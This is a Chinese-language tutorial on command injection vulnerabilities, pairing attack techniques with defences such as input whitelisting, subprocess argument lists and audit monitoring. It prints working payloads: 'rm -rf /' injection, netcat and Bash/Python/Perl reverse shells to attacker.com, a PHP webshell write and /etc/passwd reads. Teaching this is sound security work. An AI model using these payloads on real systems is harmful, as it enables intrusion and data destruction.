命令注入漏洞实战

发布时间: 2025-03-23 12:50

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# 命令注入漏洞实战

## 命令注入概述

命令注入(Command Injection)是一种通过操纵应用程序的输入来执行任意系统命令的安全漏洞。当应用程序在处理用户输入时，未经过充分的验证和过滤就将其作为系统命令的一部分执行，就可能导致命令注入漏洞。

## 漏洞原理

### 1. 基本原理

命令注入漏洞主要发生在应用程序需要调用系统命令的场景中。例如：

```php
// 不安全的PHP代码
$filename = $_GET['filename'];
exec('ls ' . $filename);
```

如果用户输入：`; rm -rf /`，最终执行的命令将变成：

```bash
ls ; rm -rf /
```

### 2. 注入点类型

- **分号注入**：使用分号分隔多个命令
- **管道注入**：使用管道符连接命令
- **AND/OR注入**：使用&&或||连接命令
- **反引号注入**：使用反引号执行命令

## 常见攻击技术

### 1. 命令连接符

```bash
# 分号连接
original_command ; malicious_command

# 管道符连接
original_command | malicious_command

# AND运算符
original_command && malicious_command

# OR运算符
original_command || malicious_command
```

### 2. 命令替换

```bash
# 反引号
`malicious_command`

# $()语法
$(malicious_command)

# 内联执行
<(malicious_command)
```

### 3. 特殊字符绕过

```bash
# 空格替代
original_command${IFS}malicious_command

# 编码绕过
original_command%20malicious_command

# 引号绕过
original_command\"malicious_command
```

## 漏洞检测

### 1. 手动检测

- 测试命令连接符
- 检查特殊字符处理
- 验证输出结果
- 时间延迟测试

### 2. 自动化工具

- Commix
- OWASP ZAP
- Burp Suite
- Custom Scripts

## 实际案例分析

### 案例1：文件操作漏洞

易受攻击的代码：
```python
import os

def list_files(directory):
    os.system('ls ' + directory)
```

攻击payload：
```
directory: . && echo "malicious content" > /tmp/evil
```

### 案例2：网络工具漏洞

易受攻击的代码：
```php
$ip = $_GET['ip'];
system('ping ' . $ip);
```

攻击payload：
```
ip: 8.8.8.8; nc -e /bin/bash attacker.com 4444
```

## 高级利用技术

### 1. 反弹Shell

```bash
# Bash反弹shell
bash -i >& /dev/tcp/attacker.com/4444 0>&1

# Python反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker.com",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Perl反弹shell
perl -e 'use Socket;$i="attacker.com";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

### 2. 文件操作

```bash
# 读取敏感文件
; cat /etc/passwd

# 写入Webshell
; echo '<?php system($_GET["cmd"]);?>' > shell.php

# 修改文件权限
; chmod 777 /path/to/file
```

### 3. 信息收集

```bash
# 系统信息
; uname -a

# 网络信息
; netstat -an

# 用户信息
; whoami && id
```

## 防御措施

### 1. 输入验证

```python
# 白名单验证
def is_valid_command(command):
    allowed_commands = ['ls', 'dir', 'pwd']
    return command in allowed_commands

# 参数验证
def is_valid_parameter(param):
    return re.match('^[a-zA-Z0-9_.-]+$', param) is not None
```

### 2. 命令执行安全

```python
# 使用参数列表
import subprocess

def safe_command(command, args):
    try:
        result = subprocess.run([command] + args, 
                              capture_output=True,
                              timeout=5,
                              check=True)
        return result.stdout
    except subprocess.CalledProcessError as e:
        logger.error(f"Command execution failed: {e}")
        return None
```

### 3. 环境隔离

```bash
# Docker容器隔离
docker run --rm -it --name sandbox ubuntu:latest /bin/bash

# chroot环境
sudo chroot /path/to/jail /bin/bash
```

## 安全编码实践

### 1. 使用安全API

```python
# 不安全的实现
os.system('rm ' + filename)

# 安全的实现
import os
os.remove(filename)
```

### 2. 错误处理

```python
# 安全的错误处理
try:
    subprocess.run(command, shell=False, check=True)
except subprocess.CalledProcessError as e:
    logger.error(f"Command execution error: {e}")
    raise SecurityException("Command execution failed")
```

### 3. 日志记录

```python
# 记录命令执行
def log_command_execution(command, user, ip_address):
    logger.info(f"Command executed: {command}",
               extra={
                   'user': user,
                   'ip': ip_address,
                   'timestamp': datetime.now()
               })
```

## 安全配置

### 1. 系统加固

```bash
# 限制Shell访问
chsh -s /sbin/nologin username

# 设置文件权限
chmod 600 /path/to/sensitive/file

# 配置SELinux
setenforce 1
```

### 2. 应用隔离

```bash
# 创建专用用户
useradd -r -s /sbin/nologin appuser

# 设置目录权限
chown -R appuser:appuser /app/directory
```

## 检测与响应

### 1. 监控系统

```bash
# 监控命令执行
auditctl -w /usr/bin/ -p x -k command_execution

# 监控文件修改
auditctl -w /etc/passwd -p wa -k passwd_changes
```

### 2. 告警机制

```python
# 异常命令告警
def alert_suspicious_command(command, context):
    if is_suspicious(command):
        alert = {
            'type': 'command_injection',
            'command': command,
            'context': context,
            'timestamp': datetime.now()
        }
        send_alert(alert)
```

## 总结

命令注入是一种危险的Web安全漏洞，可能导致系统被完全控制。防御措施包括：

1. 严格的输入验证和过滤
2. 使用安全的API和库函数
3. 实施最小权限原则
4. 系统隔离和环境控制
5. 完善的监控和告警机制

开发人员应该始终保持安全意识，采用安全的编码实践，并定期进行安全测试和代码审查。同时，建立完善的应急响应机制，以便在发生安全事件时能够快速有效地处理。

元素码农